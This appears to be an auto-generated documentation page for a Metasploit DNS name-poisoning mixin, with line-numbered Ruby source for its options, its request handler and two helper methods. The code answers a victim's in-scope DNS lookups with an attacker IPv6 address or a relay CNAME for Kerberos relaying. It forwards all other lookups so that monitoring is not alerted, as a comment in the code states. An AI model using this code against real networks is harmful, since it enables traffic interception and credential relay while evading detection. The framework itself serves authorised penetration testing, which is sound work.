Module: Msf::Exploit::Remote::DNS::NamePoisoner

Defined in:
lib/msf/core/exploit/remote/dns/name_poisoner.rb

Instance Method Summary collapse

Instance Method Details

#initialize(info = {}) ⇒ Object



20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# File 'lib/msf/core/exploit/remote/dns/name_poisoner.rb', line 20

def initialize(info = {})
  super

  register_options(
    [
      # The victim is steered to query the attacker's IPv6 address (SPOOF_IP6),
      # so the paired DNS server has to listen on IPv6. SocketServer defaults
      # SRVHOST to 0.0.0.0, which binds IPv4 only and silently drops every IPv6
      # query; default to :: (all IPv6 addresses) instead. This also keeps the
      # A-record branch in poison_answers_for from handing out 0.0.0.0.
      OptAddressLocal.new('SRVHOST', [ true, 'The local host or network interface to listen on. Defaults to :: to receive the IPv6 DNS queries the victim is steered to send.', '::' ]),
      OptString.new('TARGET_DOMAIN', [ true, 'The DNS domain to intercept; names under it are poisoned (e.g. ad.example.com).' ]),
      OptString.new('TARGET_HOSTS', [ false, 'Specific FQDNs to poison (space or semicolon separated). If empty, all names under TARGET_DOMAIN are poisoned.' ]),
      OptString.new('SPOOF_IP6', [ true, 'The attacker IPv6 address handed out as the DNS server and returned for poisoned names.' ]),
      OptString.new('RELAY_CNAME', [ false, 'If set, poisoned names are answered with a CNAME to this name plus its terminal attacker address (the DNS-CNAME Kerberos relay trick).' ])
    ], Exploit::Remote::DNS::NamePoisoner
  )
end

#on_dispatch_request(cli, data) ⇒ Object

Poison lookups that fall under the target scope; forward everything else so the victim keeps working (and so we do not tip off monitoring by breaking unrelated name resolution).



42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# File 'lib/msf/core/exploit/remote/dns/name_poisoner.rb', line 42

def on_dispatch_request(cli, data)
  return if data.strip.empty?

  req = Rex::Proto::DNS::Packet.encode_drb(data)
  peer = Rex::Socket.to_authority(cli.peerhost, cli.peerport)

  poisoned = false
  req.question.each do |question|
    answers = poison_answers_for(question)
    next if answers.empty?

    answers.each { |rr| req.add_answer(rr) }
    poisoned = true
    print_good("Poisoned #{question.qname} (#{question.qtype}) for #{peer} -> #{poison_description}")
  end

  unless poisoned
    # Not in scope: fall back to the default cache/forward behaviour.
    return service.default_dispatch_request(cli, data)
  end

  req.header.qr = true
  req.header.ra = true
  service.send_response(cli, Rex::Proto::DNS::Packet.validate(req).encode)
end

#poison_description ⇒ Object

Human-readable description of what poisoned names resolve to.



69
70
71
# File 'lib/msf/core/exploit/remote/dns/name_poisoner.rb', line 69

def poison_description
  datastore['RELAY_CNAME'].present? ? "CNAME #{datastore['RELAY_CNAME']}" : datastore['SPOOF_IP6']
end

#validate_ipv6!(address, name) ⇒ Object

Fail the module unless address is a valid IPv6 address.



74
75
76
77
78
# File 'lib/msf/core/exploit/remote/dns/name_poisoner.rb', line 74

def validate_ipv6!(address, name)
  return if Rex::Socket.is_ipv6?(address.to_s)

  fail_with(Msf::Module::Failure::BadConfig, "#{name} must be a valid IPv6 address")
end